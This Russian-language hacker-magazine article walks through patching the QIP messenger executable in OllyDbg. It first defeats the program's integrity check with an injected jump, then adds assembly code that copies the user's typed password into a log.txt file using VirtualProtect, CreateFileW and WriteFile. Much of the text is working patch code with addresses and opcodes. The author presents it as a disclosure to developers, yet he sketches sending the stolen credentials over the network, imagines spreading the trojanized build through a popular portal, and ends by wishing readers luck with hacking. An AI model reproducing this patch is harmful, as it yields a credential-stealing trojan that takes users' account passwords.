| "Топовые" программные продукты, распространяемые на бесплатной основе, 
зачастую пользуются такой популярностью, что пользователи доверяют их авторам 
всецело, совершенно забывая о собственной безопасности. Чтобы разрушить весьма 
распространенный миф о том, что "популярно - значит надежно", мы займемся 
исследованием раскрученного на территории СНГ интернет-пейджера QIP. Пробиваем "непробиваемую" бронюВ одном из выпусков рубрики "Easyhack" я рассказывал, как модифицировать QIP 
так, чтобы он выдавал введенный пароль при помощи использования MessageBoxA. 
Естественно, я не стал раскрывать все карты сразу и описывать обход защитных 
механизмов – исключительно для того, чтобы разработчики залатали дыры, а хакеры 
не использовали информацию в корыстных целях, для создания "нового релиза" QIP с 
функцией воровства аккаунтов. Прошло достаточно времени, и я решил углубиться в увлекательную 
исследовательскую работу. Вместе с тобой мы попробуем пропатчить qip.exe таким 
образом, чтобы он записывал введенные пользователем пароли в файл. Все действия будем выполнять при помощи, я думаю, хорошо уже известного тебе 
отладчика OllyDbg. Итак, вооружаемся отладчиком, релизом QIP и погружаемся в 
работу. Открываем файл под отладчиком. Если ты помнишь, я уже исследовал QIP и 
выяснил, что существует некоторая защита от модификации исполняемого файла. 
Продемонстрировать наличие некоторой функции, проверяющей целостность файла, 
довольно легко: замени какую - либо инструкцию в середине кода программы на nop 
и попробуй запустить программу. Вместо привычного окна авторизации появится 
сообщение о том, что файл поврежден. Попробуем излечить нашего "пациента" от 
этой "болезни" :). Прежде всего, чтобы интернет-пейджер "принял" добавляемый нами в PE-файл код 
(а мы его, безусловно, добавим) в качестве своего собственного, необходимо 
отключить защитные механизмы. После недолгой трассировки кода измененного файла 
я выяснил, "где собака зарыта": по адресу 068F4BA располагается процедура 
проверки целостности PE-файла. Она портит нам настроение, поэтому рекомендую ее 
исследовать. Пошаговое выполнение программы доводит нас до любопытного места: 0048023F . 8B45 FC      MOV EAX,DWORD PTR SS:[EBP-4]00480242 . 807D FB 00   CMP BYTE PTR SS:[EBP-5],0
 00480246   74 0F        JE SHORT 
qip_modi.00480257
 00480248   E8 B740F8FF  CALL qip_modi.00404304
 Мы не знаем, что именно проверяет доблестный интернет-пейджер внутри 
вызываемой функции, да это для нас и не столь важно. Ставим точку останова на 
00480246 и до умопомрачения жмем на <shift+F9>. Программа запустится и выдаст 
безрадостное окошко: файл поврежден. Методом "научного тыка" я выяснил, что если четыре раза нажать на <shift+F9> 
во время прерывания на точке останова, а перед пятым нажатием – занопить вызов "CALL 
00404304", программа запустится (при условии, что после пятого прохода мы снова 
восстановим вызов при помощи команды контекстного меню "Undo Selection"). В 
отладчике все просто – заменяем вызов на nop после четырех нажатий на 
<shift+F9>. Затем снова жмем <shift+F9>, щелкаем правой кнопкой по вызову, 
выбираем "Undo Selection", убираем точку останова и запускаем программу на 
исполнение. Но как пропатчить код, чтобы он "знал", когда защитная процедура вызывается в 
четвертый раз? Писать огромные проверки со счетчиками запуска - сложно и долго. Выход только один, и он достаточно очевиден. Скорее всего, содержимое 
регистров процессора во время каждого из вызовов – уникально. Это значит, мы 
можем проверять какой-либо регистр на соответствие некоторому значению 
непосредственно перед вызовом защитной функции и, если значения совпадают, 
пускать защиту лесом! Как удалось выяснить, в моем случае содержимое регистра EBX (я взял его, что 
называется, "от балды"; ты можешь проверять любой другой регистр) перед пятым 
вызовом защитной функции равно 0064ED7C. Перед тем, как писать код, обходящий защиту, определимся с его 
местоположением. Будем пихать наш "жучок", начиная с адреса 0068F857. Вызов 
защитной функции, располагающийся по адресу 00480248, заменим на безусловный 
переход к нашему коду. 00480248 jmp 0068f857
 Кстати, заметь, что следующая инструкция располагается по адресу 0048024D – 
этот факт нам еще пригодится. Вот как будет выглядеть наш код: 0068F857 CMP EBX,0064ED7C; сравниваем содержимое ebx со значением, 
которое должно содержаться в нем перед пятым вызовом защитной функции0068F85D JNZ 0068F864; если содержимое регистра не равно 0064ED7C, выполняем 
переход...
 0068F85F JMP 0048024D; ...иначе - не выполняем функцию (передаем управление 
qip.exe)
 0068F864 PUSH 0048024D; кладем в стек адрес возврата из функции...
 0068F869 JMP 00404304; ...и выполняем эту функцию
 Простой код обходит мудреную защиту, и теперь мы можем беспрепятственно 
творить все, что захотим! Все подводные камни устранены, а широкий путь для 
творческих походов расчищен: никто и ничто не мешает нам изменять "внутренности" 
интернет-пейджера.  Лирическое отступлениеЕсли ты еще не забыл, наша задача - написать код, который будет сохранять 
введенный пользователем пароль в файл. Для этого необходимо владеть информацией, 
как минимум, о двух API-функциях: создающей файл и записывающей в него 
информацию. Порыскав в MSDN, находим необходимую информацию. Для создания файла 
будем использовать функцию CreateFileW. Она принимает следующие параметры 
(расположу их в обратном порядке – в том, в котором мы будем помещать их в 
стек): hTemplateFile: файл-шаблон, атрибуты которого будут использоваться для 
открытияAttributes - атрибуты и флаги для открытия файла
 Mode; режим открытия файла
 pSecurity; атрибуты безопасности
 ShareMode; режим совместного доступа
 Access; тип доступа к файлу
 FileName; имя файла
 Некоторые параметры можно обнулить (об этом мы поговорим позже). Для записи в 
файл воспользуемся функцией WriteFile. Вот ее прототип: BOOL WINAPI WriteFile(__in HANDLE hFile,
 __in LPCVOID lpBuffer,
 __in DWORD nNumberOfBytesToWrite,
 __out_opt LPDWORD lpNumberOfBytesWritten,
 __inout_opt LPOVERLAPPED lpOverlapped
 );
 Параметры будут следующими: hFile – дескриптор файлаBuffer – буфер, из которого будут записаны данные
 nNumberOfBytesToRead – количество записываемых данных
 lpNumberOfBytesRead – количество фактически записанных данных
 lpOverlapped – указатель на структуру типа OVERLAPPED (обнуляем)
 Условимся, что наш код будет располагаться, начиная с адреса 0068F86E. Теперь 
необходимо сделать небольшое лирическое отступление. Как было выяснено в 
результате долгих исследований (если хочешь знать, каких конкретно, почитай 
колонку EASYHACK за ноябрь 2008 года), после вызова следующего кода, который 
выполняется при нажатии на кнопку "Подключиться", в стеке (по адресу [ebp-8]) 
находится пароль: 00649A01 CALL qip.004678B400649A06 CMP DWORD PTR SS:[EBP-8],0
 00649A0A JE SHORT 0649A2F
 Как видишь, код, расположенный после CALL-а, проверяет, пусто ли поле для 
ввода пароля (пара инструкций – "cmp" и "je"). Нам эта проверка не нужна, так 
что на помойку ее – и заменим на переход к нашему коду: 00649A01 CALL qip_modi.004678B400649A06 JMP 0068F86E
 00649A0B NOP
 Три простых шага к краже пароляВнес изменения? Едем дальше. Перейдем к адресу 0068F86E и напишем наш код. 1. Передаем параметры для CreateFileW в стек и вызываем эту функцию. 
Вызванная API возвратит в EAX хэндл открытого файла. 0068F86E > 6A 00       PUSH 0  ; /hTemplateFile 
= NULL0068F870 . 68 80000000 PUSH 80 ; |Attributes = NORMAL
 0068F875 . 6A 04       PUSH 4  ; |Mode = 
OPEN_ALWAYS
 0068F877 . 6A 00       PUSH 0  ; |pSecurity = 
NULL
 0068F879 . 6A 03       PUSH 3  ; |ShareMode = 
FILE_SHARE_READ|FILE_SHARE_WRITE
 0068F87B . 68 000000C0 PUSH C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
 0068F880 . 68 A7F86800 PUSH qip_modi.0068F8A7 ; |FileName = "log.txt"
 0068F885 . E8 D60E187C CALL kernel32.CreateFileW ; \CreateFileW
 2. Положим в стек содержимое регистра EAX в качестве единственного параметра 
для функции закрытия файла CloseHandle, которую вызовем впоследствии. 0068F88A . 50 PUSH EAX ; /hObject
 3. Передадим в стек параметры для функции WriteFile и вызовем ее. К 
сожалению, есть один нюанс, который не позволит нам использовать стек в качестве 
буфера для этой API-функции: ее вызов затирает часть необходимых данных, 
хранящихся там. Поэтому роль буфера будет играть часть секции кода, начиная с 
адреса 0068F8EB. Но так как секция кода защищена от записи, придется вызвать 
функцию VirtualProtect с параметром NewProtect = PAGE_EXECUTE_READWRITE. Вызов 
VirtualProtect с передачей параметров разместим по адресу 0068F8B7 
(предварительно сохранив регистры при помощи PUSHAD). После чего при помощи 
набора инструкций MOV скопируем пароль, расположенный в стеке, в наш буфер - по 
адресу 0068F8EB. Все вместе это выглядит так: ; передаем параметры для WriteFile и вызываем ее:0068F88B PUSH 0 ; |/pOverlapped = NULL
 0068F88D PUSH EBP ; ||pBytesWritten
 0068F88E PUSH 10 ; ||nBytesToWrite = 10 (16.)
 0068F890 PUSH qip_modi.0068F8EB; ||Buffer = qip_modi.0068F8EB
 0068F895 PUSH EAX ; ||hFile
 0068F896 CALL kernel32.WriteFile ; |\WriteFile
 
 ; вызываем CloseHandle для закрытия файла, хэндл файла мы передали выше при
 ; помощи инструкции "PUSH EAX", расположенной по адресу 0068F88A:
 
 0068F89B CALL CloseHandle
 
 ; Восстанавливаем регистры, которые сохраним до вызова VirtualProtect чуть ниже:
 
 0068F8A0 POPAD
 
 ; Переходим к коду qip.exe
 
 0068F8A1 JMP qip_modi.00649A0B
 
 ; имя файла, которое использует функция CreateFileW:
 
 0068F8A6 NOP
 0068F8A7 UNICODE "log.txt",0
 
 ; сохраним регистры в стек:
 
 0068F8B7 PUSHAD
 
 ; передадим необходимые параметры функции VirtualProtect и вызовем ее:
 
 0068F8B8 PUSH 32F7D0 ; /pOldProtect = 0032F7D0
 0068F8BD PUSH 40 ; |NewProtect = PAGE_EXECUTE_READWRITE
 0068F8BF PUSH 0FF ; |Size = FF (255.)
 0068F8C4 PUSH qip_modi.0068F8EB ; |Address = qip_modi.0068F8DD
 0068F8C9 CALL kernel32.VirtualProtect ; \VirtualProtect
 
 ; В два подхода переместим восьмибайтовый пароль в новый буфер, начинающийся с 
адреса 0068F8EB:
 
 ; первый подход - забираем 4 байта...:
 
 0068F8CE MOV ECX,DWORD PTR DS:[EBP-8]
 0068F8D2 MOV EDX,DWORD PTR DS:[ECX]
 0068F8D4 MOV ECX,qip_modi.0068F8EB
 0068F8D9 MOV DWORD PTR DS:[ECX],EDX
 
 ;...и второй - забираем оставшиеся 4 байта:
 
 0068F8DB MOV ECX,DWORD PTR DS:[EBP-8]
 0068F8DF MOV EDX,DWORD PTR DS:[ECX+4]
 0068F8E2 MOV ECX,qip_modi.0068F8EF
 0068F8E7 MOV DWORD PTR DS:[ECX],EDX
 
 ; передаем управление чуть выше - в начало написанного нами кода, который 
создаст и сохранит лог-файл:
 
 0068F8E9 JMP SHORT qip_modi.0068F86E
 Ситуация немного изменилась. Раньше мы планировали передавать управление на 
наш код следующим образом: 00649A06 JMP 0068F86E
 Теперь это невозможно, так как нам пришлось использовать дополнительный код в 
виде вызова VirtualProtect, который должен непременно выполняться раньше 
остального кода. Так что переходи к адресу 0068F8E9 и меняй расположенный там 
переход на: 00649A06 JMP 0068F8B7
 Все готово! Резюмируем все, что было написано выше. Внедренные нами 
инструкции создают файл в директории программы и при помощи вызова 
VirtualProtect разрешают запись в секцию кода, часть которой используется в 
качестве буфера. А затем - вызывают функцию WriteFile, которая записывает в 
созданный файл полученный пароль, введенный пользователем. Как видишь, код не 
так сложен. Тем не менее, защитные механизмы отключены, и пароль записан в файл. Разработчики, будьте внимательны!Скажу несколько вещей, не особенно приятных для разработчика 
интернет-пейджера, но необходимых. Во-первых, механизмы защиты данных учетных 
записей, находящихся в памяти, нуждаются в доработке. Во-вторых, механизмы 
контроля целостности файла также нуждаются в дополнительном усовершенствовании. 
Что важно, мы рассмотрели самый тривиальный способ модификации. Между тем, нужно 
дописать лишь несколько десятков строк кода, чтобы получить версию QIP, которая 
будет открывать интернет-соединение и отправлять данные учетных записей по Сети. 
Только представь ситуацию: раскрученный интернет-портал, на который залита 
"новая" версия QIP, может быть, содержащая новый пакет смайлов и несколько 
"модифицированный" код выполнения авторизации. Как следствие - тысячи (возможно, 
десятки тысяч) украденных аккаунтов. Напоследок - скажу, что многие из 
популярных программных продуктов имеют не менее шокирующие уязвимости. Посему мы 
еще не раз встретимся на страницах журнала и распотрошим не один десяток самых 
скачиваемых программ. Удачи во взломах! |